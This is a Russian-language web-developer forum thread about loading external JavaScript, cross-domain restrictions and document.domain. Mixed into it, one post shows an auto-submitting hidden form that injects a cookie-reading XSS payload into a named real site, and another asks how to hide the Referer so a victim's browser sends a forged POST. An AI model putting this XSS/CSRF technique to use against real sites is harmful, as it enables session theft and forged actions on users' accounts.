Наверное, PHP: <script type="text/javascript" src="http://example.example/file.js"></script> или PHP: <script type="text/javascript"> document.write('<script type="text/javascript" src="http://example.example/file.js"><\/scr'+'ipt>'); </script> ну или так: PHP: <script type="text/javascript"> var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://example.example/file.js'; document.appendChild(js); </script>
А чем этот скрипт отличается...... Вообщем тот JS который я привел вроде бы должен срабатывать только после движений мыши...вот такой нужен...
Издеваешься? Отличается в корне. Хотя результат тот же Тот js, который ты привел срабатывает при получении окном фокуса и он перенаправляет на другой адрес, а вовсе не "вызывает срабатыванме JS лежащего в отдельном файле". Если я правильно понял, то тебе нужно это: Code: <html> <head> <script type="text/javascript"> function loadJS(){ if(!document.getElementById('loadedscript')){ // Проверяем, чтобы не подключать скрипт до бесконечности var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://example.example/file.js'; js.id = 'loadedscript'; document.body.appendChild(js); } } </script> </head> <body onmousemove="loadJS()"> </body> </html>
Да нет ...просто я не разбираюсь в JS.Имел ввиду как работает. А можно сделать так,чтобы при получении окном фокуса он вызывал срабатывание JS лежащего в отдельном файле? А этот как работает обЪясни пожалуйста
Работает это так: Сначала определяем функцию loadJS(), которая делает следующее: 1) Проверяет, существует ли элемент с id == 'loadedscript'. 2) Если не существует, то создаёт элемент 'script' и устанавливает ему атрибуты: - id (нужен для вышеупомянутой проверки) - src (путь к внешнему файлу с js, измени на свой, а то работать не будет) - type (можно было и не указывать) 3) Прикрепляет созданный элемент к объекту body (он может и не существовать, но это встречается не часто и сейчас не важно.) После этого устанавливаем 'onmousemove' = 'loadJS()'. Теперь при движении курсора над страницей загрузится и выполнится внешний JS. Чтобы работало при фокусировке - достаточно заменить 'onmousemove' на 'onfocus' // неужели?
У меня такая ситуация. На странице сайта подключается сторонний JS-скрипт (с другого сайта). При этом неполучается получить контент при помощи AJAX и фреймов ни с одного из этих сайтов. Что делать? Само AJAX приложение работает. На каждом сайте индивидуально работает. А при подключении с target.com на target2.com JS-а шиш, возвращает пустой результат, как буд-то я пытаюсь спереть чужой контент, при обращении аяксом на любой из сайтов. :\
Я понимаю.... если защита от загрузок с другого сайта из другого. Но если сам JS-скрипт находит... *на этом моменте я понял почему запрещено* потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот... Я, кстати, подключаю скрипт с компа. c localhost'a. А если с диска C: ? там вроде на файловой системе компьютера нет ограничений...
Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.
А я и не говорил, что нельзя подключать скрипты с других сайтов. Я говорил, что AJAX и хирургический доступ к фреймам в таком скрипте, который подключается, абсолютно исключены системой безопасности доступа к страницам. Как к доступу к страницам подключаемого, так и к которому подключаем. Объясню. Так как, исполняемый скрипт может брать страницы через Аякс со своего домена. Неужели браузеры позволят сайтам подключать сторонние скрипты и использовать то, что они подключают свои страницы? Тырить контент можно. Почему не может брать страницы от сайта к которому подключается? Да потому, что злоумышленник на сайте которого храниться код может его переделать и загрузать страницы первичного сайта к себе на сайт. В таком случае, в подключении сторонних кодов, AJAX и какой-либо доступ к фреймам исключены.
Тырить контент? Кросс-доменные ограничения, запрещающие доступ к фрейму, в который загружена страница с другого домена, по-моему, нужны, чтобы обеспечивать безопасность веб-авторизации. (Правда, есть одно исключение - (document.domain), но, думаю, это не в твоём случае.) А контент забирают другими, менее изощренными методами. Можно, сделать по-другому: написать серверный скрипт (на php, к примеру), разместить на своём домене и обращаться уже к нему, передавая в запросе адрес страницы, которую нужно получить. Скрипт на сервере без проблем должен получить всё, что нужно и отдать клиентскому скрипту. Разве? На пальцах: есть два сайта с разными доменными именами - site1 и site2. Если на site1 "подключить" JS с site2, то он будет работать в контексте безопасности site1 и может работать с фреймами с site1 и запрашивать страницы AJAX'ом с site1, но не сможет проделывать аналогичное с site2, site3, и т.д. P.S. Специально сейчас проверил ситуацию с внешним JS с другого домена, всё работает. Так что ищи ошибки в коде.
есть <select id='mda'></select> добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>'; почему это не работает в ИЕ? p.s. меня не интересует как сделать по другому.
Post Вопрос банальный.. Честно говоря все позабыл уже 2 года в нете не был.. Вообщем, как через URL передать POST ? Или как с помощью Javascript передать POST, скажем на страницу: http://site.ru/page.php , например, a=1 , b=2 , c=3 Нужно сформировать в скрытом фрейме стороннего сайта POST , И еще тупой вопрос: кнопка submit: HTML: <input type="submit" name="xxx1" value="Добавить" accesskey="s" /> че она передаст скрипту? какие переменные и т.п.?
Да, HTML-контент, к котором могут содержаться важные данные, предоставляемые авторизованным, к примеру, пользователям. Попробовал и получилось? Приведи код, если не сложно..
astrologer Блин, респект. Получается. Проблема была в том, что страница, которую хотел получить, назодилось в поддомене.. из поддомена загружается только от этого поддомена.. как загрузать от одного сайта но от другого поддомена?
я делал так автоматический пост HTML: <form name="postform" action="http://rechitsa.by/index.php" method="POST"> <input type="hidden" name="search_string" size=20 value="><script>alert(document.cookie)</script>"> <input type="hidden" src="/images/search.gif" alt="Поиск"/></td></tr> <select name="search_cat" type="hidden"> <option value="all">весь сайт</option> <option value="articles">статьи</option> <option value="news">новости</option> </select> </form> <script>document.postform.submit();</script>
Потому, что это баг IE. Нет. Если два разных поддомена - то нельзя. Возможно тогда и только тогда, когда со страницы "sub.site.com" нужно получить доступ к "site.com". В этом случае можно установить document.domain = 'site.com' и работать с ним. Обратно в пределах одной сессии изменить уже нельзя.
Как скрыть рефа у юзера? Через window.location или document.location - эт понятно... хотя у меня опера передает рефа любым путем, даже если создается поп-ап окно без адреса и т.п. А если это будет POST запрос ??? Типа: <form> ..... </form> <script>submit();</script> Блин, ужо неделю ломаю голову... Причем надо учесть, чтобы именно браузер жертвы отправил запрос, т.к. проверяется сессия или куки... Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ????